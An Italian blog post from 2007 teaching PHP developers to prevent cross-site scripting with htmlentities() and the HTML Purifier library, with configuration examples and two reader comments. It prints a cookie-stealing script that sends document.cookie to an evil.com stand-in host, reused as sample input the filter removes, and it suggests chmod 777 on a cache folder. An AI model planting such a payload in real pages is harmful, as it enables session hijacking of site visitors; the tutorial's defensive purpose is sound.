sabato 8 dicembre 2007

PHP: Prevenire attacchi cross site scripting (xss)

Può capitare che una nostra applicazione PHP debba ricevere e processare un input in formato HTML. Per esempio del testo inserito dagli utenti con un editor visuale Javascript (come TinyMCE giusto per nominarne solo uno). Questi editor sono indubbiamente utili in quanto consentono di utilizzare un'interfaccia grafica simile ad un word processor, perciò familiare anche agli utenti meno esperti, per formattare un testo con font, stili, colori e altri attributi per poi passare il codice HTML risultante ad uno script.

La tentazione di usare un editor visuale nelle nostre applicazioni per consentire agli utenti di inviare i propri articoli o altri contributi in un formato esteticamente più gradevole del nudo testo, può essere forte e non è detto che sia una tentazione a cui si debba necessariamente resistere. Va però tenuto presente che quando si riceve da una fonte esterna del codice HTML destinato alla pubblicazione sul nostro sito, è essenziale adottare le opportune misure per filtrare e neutralizzare script o altro codice malevolo che potrebbe essere inserito da un utente malintenzionato.

In particolare bisogna prevenire i cosiddetti attacchi cross site scripting (xss).

Cos'è un attacco cross site scripting

La tipologia di attacco cross site scripting (abbreviato xss) che più ci interessa qui è quella che si verifica quando codice HTML dannoso viene passato ad uno script PHP il cui output è destinato alla visualizzazione in una pagina web.

Potenzialmente vulnerabili ad attacchi xss sono tutte le applicazioni che generano dinamicamente pagine web basandosi su un input esterno: forum, guestbook, wiki, siti che pubblicano articoli o commenti inviati dagli utenti.

E' chiaro che l'esempio fatto all'inizio di applicazione che riceve il proprio input attraverso un editor visuale è solo uno dei possibili casi, codice HTML può essere passato anche attraverso un semplice campo textarea o usando un software che invii direttamente dati allo script scavalcando qualsiasi protezione lato client.

Esempio di attacco cross site scripting

Supponiamo che un utente inserisca il seguente codice in un post su un forum.

<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>

Se l'applicazione non neutralizza questo codice (vedremo dopo come), una volta che il post è pubblicato, i cookies di chiunque lo legga saranno inviati ad uno script su un altro dominio. Poiché i cookies sono frequentemente usati per conservare l'identificatore di sessione degli utenti autenticati, una volta venuto a conoscenza del contenuto di un cookie di un utente, un malintenzionato può impersonare lo stesso utente sul sito di provenienza e, per esempio, postare a suo nome sul forum. Purché chiaramente riesca a farlo prima che la sessione il cui identificativo è stato rubato sia scaduta o terminata (ovvia precisazione).

Questo è tutto sommato un esempio banale. Un attacco xss avrà conseguenze tanto più dannose quanto più sensibili sono le informazioni di cui si può venire a conoscenza tramite l'accesso illecito all'account di un utente.

Soluzioni

Per rendere le nostre applicazioni sicure da attacchi xss sono possibili due soluzioni: una più estrema o radicale, l'altra più selettiva e, in certo modo, più sofisticata.

Uso di htmlentities()

La soluzione più estrema consiste nel filtrare con la funzione PHP htmlentities() tutti i dati ricevuti da una fonte esterna e destinati ad essere visualizzati in una pagina web. In questo modo tutti i caratteri speciali saranno convertiti in entità HTML. Ad esempio > diventa &gt;, < diventa &lt; e così via. Si può facilmente verificare che in questo modo lo script di esempio visto sopra verrebbe reso visibile come testo nella pagina, ma non eseguito dal browser.

Classe per 'filtrare' codice HTML

Il problema della soluzione appena vista è che ci sono situazioni in cui si vuole consentire all'utente l'uso di codice HTML per formattare i contenuti che vengono inviati all'applicazione.

In questi casi conviene utilizzare una funzione filtro personalizzata che consenta di utilizzare solo un certo numero di tag HTML e converta in entità o rimuova tutti gli altri.

Non volendo realizzare da soli una funzione del genere, si può ricorrere a soluzioni già pronte all'uso.

HTML Purifier

HTML Purifier è una libreria pensata per l'uso in applicazioni che necessitano di processare codice HTML ricevuto in input da una fonte non sicura e che ha la funzione sia di proteggere da attacchi xss, sia di assicurare che il codice HTML sia valido e conforme agli standard.

HTML Purifier è open source (GNU LGPL) e molto ben documentata. La documentazione è in inglese per cui penso valga la pena scrivere qualche nota generale su come utilizzare questa libreria.

Installazione

Scaricato il pacchetto di installazione dal sito conviene decomprimerlo sul PC locale per poi trasferire sullo spazio web soltanto la cartella library, l'unica che serve.

Si deve poi impostare come scrivibile (chmod 755 o 777 a seconda delle impostazioni del vostro server) la cartella

path_to_library/HTMLPurifier/DefinitionCache/Serializer

dove path_to_library è il percorso sul server fino alla cartella library di HTML Purifier.

Esempio d'uso

Per prima cosa bisogna includere la libreria

require_once 'path_to_library/HTMLPurifier.auto.php';

Per svolgere il suo lavoro la libreria deve conoscere Doctype e set di caretteri utilizzati nella pagina web dove il codice da validare sarà inserito. Le impostazioni predefinite sono XHTML Transitional e UTF-8. Per cambiarle

require_once 'path_to_library/HTMLPurifier.auto.php';

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('Core', 'Encoding', 'ISO-8859-1');
$cfg ->set('HTML', 'Doctype', 'HTML 4.01 Transitional');

Chiaramente ISO-8859-1 e HTML 4.01 Transitional vanno sostituiti con il set di caratteri e Doctype desiderato.

A questo punto vediamo un esempio di validazione

require_once 'path_to_library/HTMLPurifier.auto.php';

$html = <<<EOD
<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$filter = new HTMLPurifier(); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

L'output è

<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi sia quello racchiuso tra <script> e </script> sia quello nell'evento onclick nel tag <a>. Inoltre è stato aggiunto un tag di chiusura </p> che era stato omesso.

Si può quindi vedere anche da un esempio così semplice come HTML Purifier sia in grado non solo di rimuovere le fonti di possibili attacchi xss, ma anche di correggere il codice secondo le regole di validazione proprie del Doctype selezionato. Tutto questo senza aver impostato alcuna particolare opzione di configurazione perché per impostazione predefinita HTML Purifier rimuove tutti i tag e gli attributi potenzialmente pericolosi.

Se vogliamo consentire un insieme ancora più ristretto di tag possiamo farlo in questo modo

$html = <<<EOD
<p align="center" class="test">paragrafo di prova, 
<b>testo grassetto</b>, <u>sottolineato</u>
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('HTML', 'AllowedElements', 'b,i,p,br,a');
$cfg ->set('HTML', 'AllowedAttributes', '*.class, a.href');
$filter = new HTMLPurifier($cfg); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

Con il parametro di configurazione AllowedElements si imposta la lista dei tag HTML consentiti, con AllowedAttributes quella degli attributi consentiti. *.class significa che l'attributo class è ammesso per tutti i tag, a.href che l'attributo href è ammesso solo per il tag <a>.

L'output è quello che ci si aspetta.

<p class="test">paragrafo di prova, 
<b>testo grassetto</b>, sottolineato
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi, così come i tag <u> </u> e l'attributo align in quanto non compresi tra gli elementi e attributi consentiti.

Altre funzioni utili di HTML Purifier

Per finire vale la pena menzionare un paio di funzionalità di formattazione automatica del codice che possono tornare utili in molti casi.

Creazione automatica paragrafi

Tag <p> e </p> possono essere automaticamente inseriti intorno a blocchi di testo separati tra loro da due caratteri consecutivi di ritorno a capo. La funzione è abbastanza intelligente da non inserire paragrafi dove non è consentito. Il paramentro di configurazione da impostare per questa funzionalità è
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'AutoParagraph', true);

Creazione automatica di link

Una url presente nel testo passato al filtro può essere automaticamente trasformata in link attivo.
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'Linkify', true);

Sul sito ufficiale è disponibile un demo online: inserendo codice HTML in un modulo e impostando diverse opzioni di configurazione si possono vedere le trasformazioni effettuate dal filtro. Vale la pena spenderci un po' di tempo e toccare con mano le potenzialità della libreria.

Per il momento è tutto anche se di HTML Purifier avremo probabilmente occasione di parlare ancora in futuro in quanto è un'ottima soluzione per creare applicazioni PHP più robuste e proteggere da attacchi cross site scripting i visitatori del vostro sito.

2 commenti:

Angela ha detto...

finalmente qualcuno che si preoccupa di spiegare esaustivamente una libreria che è fondamentale conoscere ! Complimenti!

Massimo ha detto...

Grazie Angela. Concordo HTMLPurifier è un'ottima libreria.

Posta un commento

Nota. Solo i membri di questo blog possono postare un commento.